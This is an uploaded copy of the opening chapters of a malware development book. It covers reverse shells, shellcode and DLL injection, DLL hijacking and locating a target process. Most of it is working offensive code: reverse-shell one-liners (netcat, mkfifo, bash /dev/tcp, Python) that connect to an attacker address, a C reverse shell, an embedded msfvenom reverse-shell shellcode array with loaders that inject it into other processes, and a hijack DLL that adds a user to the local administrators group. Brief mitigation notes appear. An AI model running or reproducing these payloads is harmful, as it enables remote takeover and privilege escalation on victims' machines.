0% found this document useful (0 votes)
706 views

Malware Deveopment

The document provides information on malware development techniques including reverse shells and code injection. It discusses how to create reverse shells in various programming languages like Python, C, and BASH. Code examples are given to inject a Meterpreter reverse shell payload into another process using debugging APIs. The document aims to educate on red team tactics but cautions that any unconsented attacks would be illegal or harmful.

Uploaded by

jjjabriyel jabri
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
706 views

Malware Deveopment

The document provides information on malware development techniques including reverse shells and code injection. It discusses how to create reverse shells in various programming languages like Python, C, and BASH. Code examples are given to inject a Meterpreter reverse shell payload into another process using debugging APIs. The document aims to educate on red team tactics but cautions that any unconsented attacks would be illegal or harmful.

Uploaded by

jjjabriyel jabri
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 435

MD MZ

The result of self-research and


investigation of malware development
tricks, evasion techniques and
persistence

JULY 2022
Author
ZHUSSUPOV ZHASSULAN
(COCOMELONC)

License
FREE (16 USD)
1
1. intro

This book is dedicated to my wife, Laura, and my children, Yerzhan and Munira.
Also, thanks to everyone who is helping me through these difficult times. The
proceeds from the sale of this book will be used to treat Munira, who is currently
battling for her life at a hospital in Istanbul, Turkey:

May Allah, Lord of the Worlds, heal my daughter.

2
2. what is malware development?
Whether you are a Red Team or Blue Team specialist, learning the techniques
and tricks of malware development gives you the most complete picture of
advanced attacks. Also, due to the fact that most (classic) malwares are written
under Windows, as a rule, this gives you tangible knowledge of developing under
Windows.
Most of the tutorials in this book require a deep understanding of the Python
and C/C++ programming languages:
#include <iostream>

int main() {
std::cout << "Hello World!";
return 0;
}

The book is divided into three logical chapters:


- Malware development tricks and techniques
- AV evasion tricks
- Persistence techniques
All material in the book is based on posts from my blog
If you have questions, you can ask them on my email.
My Github repo: https://github.com/cocomelonc

3. reverse shells

First of all, we will consider such a concept as a reverse shell, since this is a very
important thing in the malware development

3
what is reverse shell?
Reverse shell or often called connect-back shell is remote shell introduced from
the target by connecting back to the attacker machine and spawning target shell
on the attacker machine. This usually used during exploitation process to gain
control of the remote machine.

The reverse shell can take the advantage of common outbound ports such as
port 80, 443, 8080 and etc.
The reverse shell usually used when the target victim machine is blocking
incoming connection from certain port by firewall. To bypass this firewall
restriction, red teamers and pentesters use reverse shells.
But, there is a caveat. This exposes the control server of the attacker and traces
might pickup by network security monitoring services of target network.
There are three steps to get a reverse shell.
Firstly, attacker exploit a vulnerability on a target system or network with the
ability to perform a code execution.
Then attacker setup listener on his own machine.
Then attacker injecting reverse shell on vulnerable system to exploit the vulner-
ability.
There is one more caveat. In real cyber attacks, the reverse shell can also be
obtained through social engineering, for example, a piece of malware installed
on a local workstation via a phishing email or a malicious website might initiate
an outgoing connection to a command server and provide hackers with a reverse
shell capability.

4
The purpose of this post is not to exploit a vulnerability in the target host or
network, but the idea is to find a vulnerability that can be leverage to perform a
code execution.
Depending on which system is installed on the victim and what services are
running there, the reverse shell will be different, it may be php, python, jsp
etc.

listener
For simplicity, in this example, the victim allow outgoing connection on any port
(default iptables firewall rule). In our case we use 4444 as a listener port. You can
change it to your preferable port you like. Listener could be any program/utility
that can open TCP/UDP connections or sockets. In most cases I like to use nc
or netcat utility.
nc -lvp 4444

In this case -l listen, -v verbose and -p port 4444 on every interface. You can
also add -n for numeric only IP addresses, not DNS.

run reverse shell (examples)


Again for simplicity, in our examples target is a linux machine.
1. netcat
run:
nc -e /bin/sh 10.9.1.6 4444

where 10.9.1.6 is your attacker’s machine IP and 4444 is listening port.

5
2. netcat without -e
Newer linux machine by default has traditional netcat with GAPING_SECURITY_HOLE
disabled, it means you don’t have the -e option of netcat.
In this case, in the victim machine run:
mkfifo /tmp/p; nc <LHOST> <LPORT> 0</tmp/p |
/bin/sh > /tmp/p 2>&1; rm /tmp/p

Here, I’ve first created a named pipe (AKA FIFO) called p using the mkfifo
command. The mkfifo command will create things in the file system, and here
use it as a “backpipe” that is of type p, which is a named pipe. This FIFO will
be used to shuttle data back to our shell’s input. I created my backpipe in /tmp
because pretty much any account is allowed to write there.
3. bash
This will not work on old debian-based linux distributions.
run:

6
bash -c 'sh -i >& /dev/tcp/10.9.1.6/4444 0>&1'

4. python
To create a semi-interactive shell using python, run:
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<LHOST>",<LPORT>));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

More examples: github reverse shell cheatsheet

create reverse shell in C


My favorite part. Since I came to cyber security with a programming background,
I enjoy doing some things “reinventing the wheel”, it helps to understand some
things as I am also learning in my path.
As I wrote earlier, we will write a reverse shell running on Linux (target machine).
Create file shell.c:

7
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>

int main () {

// attacker IP address
const char* ip = "10.9.1.6";

// address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
inet_aton(ip, &addr.sin_addr);

// socket syscall
int sockfd = socket(AF_INET, SOCK_STREAM, 0);

// connect syscall
connect(sockfd, (struct sockadr *)&addr, sizeof(addr));

for (int i = 0; i < 3; i++) {


// dup2(sockftd, 0) - stdin
// dup2(sockfd, 1) - stdout
// dup2(sockfd, 2) - stderr
dup2(sockfd, i);
}

// execve syscall
execve("/bin/sh", NULL, NULL);

return 0;
}

Let’s compile this:


gcc -o shell shell.c -w

If you compile for 32-bit linux run: gcc -o shell -m32 shell.c -w

8
Let’s go to transfer file to victim’s machine. File transfer is considered to be one
of the most important steps involved in post exploitation (as I wrote earlier, we
do not consider exploitation step).
We will use the tool that is known as the Swiss knife of the hacker, netcat.
on victim machine run:
nc -lvp 4444 > shell

on attacker machine run:


nc 10.9.1.19 4444 -w 3 < shell

check:
./shell

Source code in Github

mitigation
Unfortunately, there is no way to completely block reverse shells. Unless you
are deliberately using reverse shells for remote administration, any reverse shell
connections are likely to be malicious. To limit exploitation, you can lock down
outgoing connectivity to allow only specific remote IP addresses and ports for

9
the required services. This might be achieved by sandboxing or running the
server in a minimal container.

4. classic code injection into the process. simple C++


malware.

Let’s talk about code injection. What is code injection? And why we do that?
Code injection technique is a simply method when one process, in our case it’s
our malware, inject code into another running process.
For example, you have your malware, it’s a dropper from phishing attack or
a trojan you managed to deliver to your victim or it can be anything running
your code. And for some reason, you might want to run your payload in a
different process. What do I mean by that? In this post we will not consider
the creation of trojan, but for example, let’s say that your payload got executed
inside word.exe which have a limited time of living. Let’s say your successfully
got a remote shell, but you know that, your victim close word.exe, so in this
situation you have to migrate to another process if you want to preserve your
session.
In this post we will discuss about a classic technique which are payload injection
using debugging API.
Firstly, let’s go to prepare our payload. For simplicity, we use msfvenom reverse
shell payload from Kali linux.
On attacker’s machine run:
msfvenom -p windows/x64/shell_reverse_tcp
LHOST=10.9.1.6 LPORT=4444 -f c

where 10.9.1.6 is our attacker’s machine IP address, and 4444 is port which
we run listener later.

10
Let’s start with simple C++ code of our malware:
/*
cpp implementation malware example with msfvenom payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// our payload: reverse shell (msfvenom)


unsigned char my_payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x0a\x09\x01\x06\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"

11
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

unsigned int my_payload_len = sizeof(my_payload);

int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

// Allocate a memory buffer for payload


my_payload_mem = VirtualAlloc(0,
my_payload_len, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);

// copy payload to buffer


RtlMoveMemory(my_payload_mem,
my_payload, my_payload_len);

// make new buffer as executable


rv = VirtualProtect(my_payload_mem,
my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {

// run payload
th = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE)my_payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}

It’s okay if you don’t understand a lot of the code. I will often use similar tricks
and pieces of code. As you read the book, you will understand more and more
the concepts and fundamental things.
Let’s check firstly.
Compile:

12
x86_64-w64-mingw32-gcc evil.cpp -o evil.exe -s
-ffunction-sections -fdata-sections -Wno-write-strings
-fno-exceptions -fmerge-all-constants -static-libstdc++
-static-libgcc

prepare listener:
nc -lvp 4444

and run from victim’s machine:


.\evil.exe

As you can see, everything is ok.


For investigating evil.exe we will use Process Hacker. Process Hacker is an
open-source tool that will allow you to see what processes are running on a
device, identify programs that are eating up CPU resources and identify network
connections that are associated with a process.

Then in the Network tab we will see that our process establish connection to
10.9.1.6:4444 (attacker’s host):

13
So, let’s go to inject our payload to process. For example, calc.exe. So, what
you want is to pivot to a target process or in other words to make your payload
executing somehow in another process on the same machine. For example in a
calc.exe.

The first thing is to allocates some memory inside your target process and the
size of the buffer has to be at least of size of your payload:

Then you copy your payload to the target process calc.exe into the allocated
memory:

14
and then “ask” the system to start executing your payload in a target process,
which is calc.exe.

So, let’s go to code this simple logic. Now the most popular combination to
do this is using built-in Windows API functions which are implemented for
debugging purposes. There are:
- VirtualAllocEx
- WriteProcessMemory
- CreateRemoteThread
Very basic example is:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

// reverse shell payload (without encryption)


unsigned char my_payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x0a\x09\x01\x06\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"

15
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

unsigned int my_payload_len = sizeof(my_payload);

int main(int argc, char* argv[]) {


HANDLE ph; // process handle
HANDLE rt; // remote thread
PVOID rb; // remote buffer

// parse process ID
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(atoi(argv[1])));

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL,
my_payload_len, (MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);

// "copy" data between processes


WriteProcessMemory(ph, rb, my_payload,
my_payload_len, NULL);

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb,
NULL, 0, NULL);
CloseHandle(ph);
return 0;
}

First you need to get the PID of the process, you could enter this PID yourself
in our case. Next, open the process with OpenProcess function provided by
Kernel32 library:

16
Next, we use VirtualAllocEx which is allows to you to allocate memory buffer
for remote process (1):

Then, WriteProcessMemory allows you to copy data between processes, so copy


our payload to calc.exe process (2). And CreateRemoteThread is similar to
CreateThread function but in this function you can specify which process should
start the new thread (3).
Let’s go to compile this code:
x86_64-w64-mingw32-gcc evil_inj.cpp -o evil2.exe -s
-ffunction-sections -fdata-sections -Wno-write-strings
-fno-exceptions -fmerge-all-constants -static-libstdc++
-static-libgcc

prepare listener:
nc -lvp 4444

and on victim’s machine firstly execute calc.exe:

Which we can see that the process ID of the calc.exe is 1844.


Then run our injector from victim’s machine:

17
.\evil2.exe 1844

and first of all we can see that ID of the calc.exe is the same and our evil2.exe
is create new process cmd.exe and on the Network tab our payload is execute
(because calc.exe establish connection to attacker’s host):

Then, let’s go to investigate calc.exe process. And go to Memory tab we can


look for a memory buffer we allocated.

Because if you take a look into the source code we are allocating some executable
and readable memory buffer in the remote process:

18
So in the Process Hacker we can search and sorted by Protection, scroll down
and find region which is readable and an executable in the same time:

so, there is a lot of such regions in a memory of calc.exe.


But, note how the calc.exe has a ws2_32.dll module loaded which should
never happen in normal circumstances, since that module is responsible for
sockets management:

So this is how you can inject you code into another process.
But, there is a caveat. Opening another process with write access is submitted
to restrictions. One protection is Mandatory Integrity Control (MIC). MIC is a
protection method to control access to objects based on their “Integrity level”.

19
There are 4 integrity levels:
- low level - process which are restricted to access most of the system (internet
explorer)
- medium level - is the default for any process started by unprivileged users and
also administrator users if UAC is enabled.
- high level - process running with administrator privileges.
- system level - by SYSTEM users, generally the level of system services and
process requiring the highest protection.
For now we will not delve into this. Firstly I will try figure this out myself.
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
OpenProcess
Source code in Github

5. classic DLL injection into the process. Simple C++


malware.

In this section we will discuss about a classic DLL injection technique which are
use debugging API.
About classic code injection I wrote in the previous section.
Firstly, let’s go to prepare our DLL.
There are slight difference in writing C code for exe and DLL. The basic difference
is how you call you code in your module or program. In exe case there should be
a function called main which is being called by the OS loader when it finishes all
in initialization if a new process. At this point your program starts its execution
when the OS loader finishes its job.
On the other hand with the DLL’s when you want to run your program as a
dynamic library, it’s a slighty different way, so the loader has already created
process in memory and for some reason that process needs your DLL or any

20
other DLL to be load it into the process and it might be due to the function
your DLL implements.
So exe need a main function and DLL’s need DLLMain function
Basically that’s the simplest difference.
For simplicity, we create DLL which just pop-up a message box:
/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/09/20/malware-injection-2.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
"=ˆ..ˆ=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

It only consists of DllMain which is the main function of DLL library. It doesn’t
declare any exported functions which is what legitimate DLLs normally do.
DllMain code is executed right after DLL is loaded into the process memory.
This is important in the context of DLL Injection, as we are looking for simplest
way to execute code in the context of other process. That is why most of
malicious Dlls which are being injected have most of the malicious code in
DllMain. There are ways to force a process to run exported function, but writing

21
your code in DllMain is usually the simplest solution to get code execution.
When run in injected process it should display our message: “Meow from
evil.dll!”, so we will know that injection was successful. Now we can compile it
(on attacker’s machine):
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive

and put it in a directory of our choice (victim’s machine):

Now we only need a code which will inject this library into the process of our
choosing.
In our case we are going talk about classic DLL injection. We allocate an empty
buffer of a size at least the length of the path of our DLL from disk. And then
we copy the path to this buffer.
/*
* evil_inj.cpp
* classic DLL injection example
* author: @cocomelonc
* https://cocomelonc.github.io/tutorial/
2021/09/20/malware-injection-2.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>

char evilDLL[] = "C:\\evil.dll";


unsigned int evilLen = sizeof(evilDLL) + 1;

int main(int argc, char* argv[]) {

22
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer

// handle to kernel32 and pass it to GetProcAddress


HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

// parse process ID
if ( atoi(argv[1]) == 0) {
printf("PID not found :( exiting...\n");
return -1;
}
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
DWORD(atoi(argv[1])));

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, evilLen,
(MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);

// "copy" evil DLL between processes


WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)lb,
rb, 0, NULL);
CloseHandle(ph);
return 0;
}

It’s pretty simple as you can see. It’s same as in my classic code injection section.
The only difference is we add path of our DLL from disk (1) and before we
finally inject and run our DLL - we need a memory address of LoadLibraryA, as
this will be an API call that we will execute in the context of the victim process
to load our DLL (2):

23
So finally after we understood entire code of the injector, we can test it. Compile
it:
x86_64-w64-mingw32-gcc -O2 evil_inj.cpp -o inj.exe
-mconsole -I/usr/share/mingw-w64/include/ -s
-ffunction-sections -fdata-sections -Wno-write-strings
-fno-exceptions -fmerge-all-constants -static-libstdc++
-static-libgcc -fpermissive >/dev/null 2>&1

Let’s first launch a calc.exe instance and then execute our program:

To verify our DLL is indeed injected into calc.exe process we can use Process
Hacker.

24
In another memory section we can see:

It seems our simple injection logic worked! This is just a simplest way to inject
a DLL to another process but in many cases it is sufficient and very useful.
If you want you can also add function call obfuscation which will be research in
the future sections.
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
OpenProcess
GetProcAddress
LoadLibraryA
Source code in Github
In the future sections I will try to figure out more advanced code injection
techniques.

25
6. DLL hijacking in Windows. Simple C example.

What is DLL hijacking? DLL hijacking is technique when we tricking a legiti-


mate/trusted application into loading an our malicious DLL.
In Windows environments when an application or a service is starting it looks
for a number of DLL’s in order to function properly. Here is a diagram showing
the default DLL search order in Windows:

In our post, we will only consider the simplest case: the directory of an application
is writable. In this case, any DLL loaded by the application can be hijacked
because it’s the first location used in the search process.

26
Step 1. Find process with missing DLLs
The most common way to find missing Dlls inside a system is running procmon
from sysinternals, setting the following filters:

which will identify if there is any DLL that the application tries to load and the
actual path that the application is looking for the missing DLL:

In our example, the process Bginfo.exe is missing several DLLs which possibly
can be used for DLL hijacking. For example Riched32.dll

Step 2. Check folder permissions


Let’s go to check folder permissions:
icacls C:\Users\user\Desktop\

According to the documentation we have write access to this folder.

27
Step 3. DLL hijacking
Firstly, let’s go to run our bginfo.exe:

Therefore if I plant a DLL called Riched32.dll in the same directory as


bginfo.exe when that tool executes so will my malicious code. For simplicity, I
create DLL which just pop-up a message box:
/*
DLL hijacking example
author: @cocomelonc
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow-meow!",
"=ˆ..ˆ=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;

28
}
return TRUE;
}

Now we can compile it (on attacker’s machine):


x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

Then rename as Riched32.dll and copy to C:\Users\user\Desktop\ my ma-


licious DLL.

And now launch bginfo.exe:

29
As you can see, our malicious logic is executed:
So, bginfo.exe and malicious Riched32.dll in the same folder (1)
Then launch bginfo.exe (2)
Message box is popped-up! (3)

Remediation
Perhaps the simplest remediation steps would be simply to ensure that all
installed software goes into the protected directory C:\Program Files or
C:\Program Files (x86). If software cannot be installed into these locations
then the next easiest thing is to ensure that only Administrative users have
“create” or “write” permissions to the installation directory to prevent an
attacker from deploying a malicious DLL and thereby breaking the exploitation.

Privilege escalation
DLL hijacking can be used for more than just executing code. It can also be
used to gain persistence and privilege escalation:
Find a process that runs/will run as with other privileges (horizontal/lateral
movement) that is missing a dll.
Have write permission on any folder where the dll is going to be searched
(probably the executable directory or some folder inside the system path).
Then replace our code:
/*
DLL hijacking example
author: @cocomelonc
*/

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,

30
DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("cmd.exe /k net localgroup administrators user /add");
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

For x64 compile with: x86_64-w64-mingw32-gcc evil.c -shared -o target.dll


For x86 compile with: i686-w64-mingw32-gcc evil.c -shared -o target.dll
Further, all steps are similar.

Conclusion
But in all cases, there is a caveat.
Note that in some cases the DLL you compile must export multiple functions to
be loaded by the victim process. If these functions do not exist, the binary will
not be able to load them and the exploit will fail.
So, compiling custom versions of existing DLLs is more challenging than it may
sound, as a lot of executables will not load such DLLs if procedures or entry
points are missing. Tools such as DLL Export Viewer can be used to enumerate
all external function names and ordinals of the legitimate DLLs. Ensuring that
our compiled DLL follows the same format will maximise the chances of it being
loaded successfully.
In the future I will try to figure out this, and I will try create python script
which create .def file from target original DLL.
Process Monitor
icacls
DLL Export Viewer
Module-Definition (def) files
Source code in Github
I’ve added the vulnerable bginfo (version 4.16) to github if you’d like to experi-
ment.

31
7. find process ID by name and inject to it. Simple C++
example.

When I was writing my injector, I wondered how, for example, to find processes
by name?
When writing code or DLL injectors, it would be nice to find, for example, all
processes running in the system and try to inject into the process launched by
the administrator.
In this section I will try to solve a simplest problem first: find a process ID by
name.
Fortunately, we have some cool functions in the Win32 API.
Let’s go to code:
/*
simple process find logic
author: @cocomelonc
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

// find process ID by process name


int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

32
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First


pe.dwSize = sizeof(PROCESSENTRY32);

// info about first process encountered in a system snapshot


hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes


// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


CloseHandle(hSnapshot);
return pid;
}

int main(int argc, char* argv[]) {


int pid = 0; // process ID

pid = findMyProc(argv[1]);
if (pid) {
printf("PID = %d\n", pid);
}
return 0;
}

Let’s go to examine our code.


So first we parse process name from arguments. Then we find process ID by
name and print it:

33
To find PID we call findMyProc function which basically, what it does, it takes
the name of the process we want to inject to and try to find it in a memory of
the operating system, and if it exists, it’s running, this function return a process
ID of that process:

I added comments to the code, so I think you shouldn’t have so many questions.
First we get a snapshot of currently executing processes in the system using
CreateToolhelp32Snapshot:

34
And then we walks through the list recorded in the snapshot using Process32First
and Process32Next:

if we find the process which is match by name with our procname return it’s ID.
As I wrote earlier, for simplicity, we just print this PID.
Let’s go to compile our code:
i686-w64-mingw32-g++ hack.cpp -o hack.exe \
-lws2_32 -s -ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

And now launch it in Windows machine (Windows 7 x64 in my case):


.\hack.exe mspaint.exe

35
As you can see, everything work perfectly.
Now, if we think like a red teamer, we can write a more interesting injector,
which, for example, find process by name and inject our payload to it.
Let’s go!
Again for simplicity I’ll take my injector from one of my posts and just add the
function findMyProc:
/*
simple process find logic
author: @cocomelonc
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

char evilDLL[] = "C:\\evil.dll";


unsigned int evilLen = sizeof(evilDLL) + 1;

// find process ID by process name


int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First


pe.dwSize = sizeof(PROCESSENTRY32);

36
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes


// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


